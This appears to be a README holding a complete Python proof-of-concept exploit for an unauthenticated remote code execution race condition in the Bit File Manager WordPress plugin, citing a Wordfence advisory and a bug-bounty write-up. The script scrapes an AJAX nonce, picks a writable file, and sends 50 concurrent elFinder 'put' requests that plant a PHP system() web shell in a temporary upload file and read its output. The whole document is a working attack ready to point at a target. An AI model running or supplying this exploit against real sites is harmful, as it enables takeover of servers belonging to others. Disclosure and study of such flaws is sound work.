README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import json
import aiohttp
import asyncio
from bs4 import BeautifulSoup
from re import search
class Poc:
def __init__(self, targetBaseUrl, raceConditionJobs=50):
self.targetBaseUrl = targetBaseUrl
self.session = requests.Session()
self.raceConditionJobs = raceConditionJobs
self.ELFINDER_AJAX_ACTION = 'bit_fm_connector_front'
self.READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open'
self.EDIT_FILE_ELFINDER_COMMAND = 'put'
self.AJAX_ENDPOINT = f'{self.targetBaseUrl}/wp-admin/admin-ajax.php'
self.PHP_PAYLOAD = '<?php system("{cmd}");?>'
self.EDITED_TEMPORARY_FILE_URL = f'{self.targetBaseUrl}/wp-content/uploads/file-managertemp.php'
def getAjaxNonce(self, fileManagerPostPath):
print('[*] Getting a valid AJAX nonce...')
fileManagerPostUrl = f'{self.targetBaseUrl}{fileManagerPostPath}'
responseText = self.session.get(fileManagerPostUrl).text
soup = BeautifulSoup(responseText, 'html.parser')
nonceScriptElement = str(soup.find('script', {'id' : 'file-managerelfinder-script-js-extra'}))
regexPattern = r'var fm = (.*);'
result = search(regexPattern, nonceScriptElement)
if not result:
print('[-] Unable to get a valid AJAX nonce')
exit(0)
parsedJsonObject = json.loads(result.group(1))
ajaxNonce = parsedJsonObject['nonce']
print(f'[+] Found the valid AJAX nonce: {ajaxNonce}')
return ajaxNonce
def getRandomFileHash(self, nonce):
print(f'[*] Getting a random file\'s hash via elFinder command "{self.READ_DIRECTORY_FILES_ELFINDER_COMMAND}"...')
bodyData = {
'action': self.ELFINDER_AJAX_ACTION,
'nonce': nonce,
'cmd': self.READ_DIRECTORY_FILES_ELFINDER_COMMAND,
'init': '1'
}
jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=bodyData).json()
if 'error' in jsonResponse:
print(f'[-] Unable to get a random file\'s hash')
exit(0)
currentWorkingDirectoryFiles = jsonResponse['files']
for file in currentWorkingDirectoryFiles:
isFileValid = True if 'hash' in file or 'name' in file else False
isFileWritable = True if file['mime'] != 'directory' else False
if not isFileValid or not isFileWritable:
continue
fileHash = file['hash']
filename = file['name']
break
print(f'[+] Found file "{filename}" with hash "{fileHash}"!')
return fileHash
async def editFileRaceCondition(self, bodyData):
# edit then access the temporary PHP file
async with aiohttp.ClientSession() as session:
async with session.post(self.AJAX_ENDPOINT, data=bodyData) as response:
# set allow_redirects to False to prevent aiohttp from following the redirect.
# this is because when the temporary PHP file doesn't exist, WordPress will redirect to path "/wp-content/uploads/file-managertemp.php/"
async with session.get(self.EDITED_TEMPORARY_FILE_URL, allow_redirects=False) as response:
if response.status != 200:
return None
return await response.text()
async def executeEditFileRaceCondition(self, nonce, fileHash, commandToExecute):
print(f'[*] Editing file with hash "{fileHash}" via elFinder command "{self.EDIT_FILE_ELFINDER_COMMAND}" and getting the edited temporary PHP file at "{self.EDITED_TEMPORARY_FILE_URL}"...')
bodyData = {
'action': self.ELFINDER_AJAX_ACTION,
'nonce': nonce,
'cmd': self.EDIT_FILE_ELFINDER_COMMAND,
'target': fileHash,
'content': self.PHP_PAYLOAD.replace('{cmd}', commandToExecute)
}
tasks = []
for _ in range(self.raceConditionJobs):
task = asyncio.create_task(self.editFileRaceCondition(bodyData))
tasks.append(task)
taskResults = await asyncio.gather(*tasks)
for responseText in taskResults:
if responseText is None:
print('[-] Failed to read the edited temporary PHP file in time')
continue
print(f'[+] We won the race condition! Here\'s the PHP payload result:\n{responseText.strip()}')
break
def exploit(self, fileManagerPostPath, commandToExecute):
# 1. Get a valid AJAX nonce via the script element with id "index-BITFORM-MODULE-js-extra"
# 2. Get a random file's hash via elFinder command "open". This allows us to edit the file in the next step
# 3. Edit the file with PHP payload via elFinder command "put" and read the edited file at the same time, which is at path "/var/www/html/wp-content/uploads/file-managertemp.php"
ajaxNonce = self.getAjaxNonce(fileManagerPostPath)
fileHash = self.getRandomFileHash(ajaxNonce)
asyncio.run(self.executeEditFileRaceCondition(ajaxNonce, fileHash, commandToExecute))
if __name__ == '__main__':
# Description:
# The Bit File Manager plugin for WordPress is vulnerable to Remote Code Execution in versions 6.0 to 6.5.5 via the 'checkSyntax' function. This is due to writing a temporary file to a publicly accessible directory before performing file validation. This makes it possible for unauthenticated attackers to execute code on the server if an administrator has allowed Guest User read permissions.
# https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition
#
# Writeup:
# https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/
# change the following values
targetBaseUrl = 'http://localhost'
fileManagerPostPath = '/?p=6'
commandToExecute = 'whoami; id; hostname'
# change this value if you wanted. Default is 50, which means
# we're sending the race condition requests 50 times at the same time
# raceConditionJobs = 100
# poc = Poc(targetBaseUrl, raceConditionJobs)
poc = Poc(targetBaseUrl)
poc.exploit(fileManagerPostPath, commandToExecute)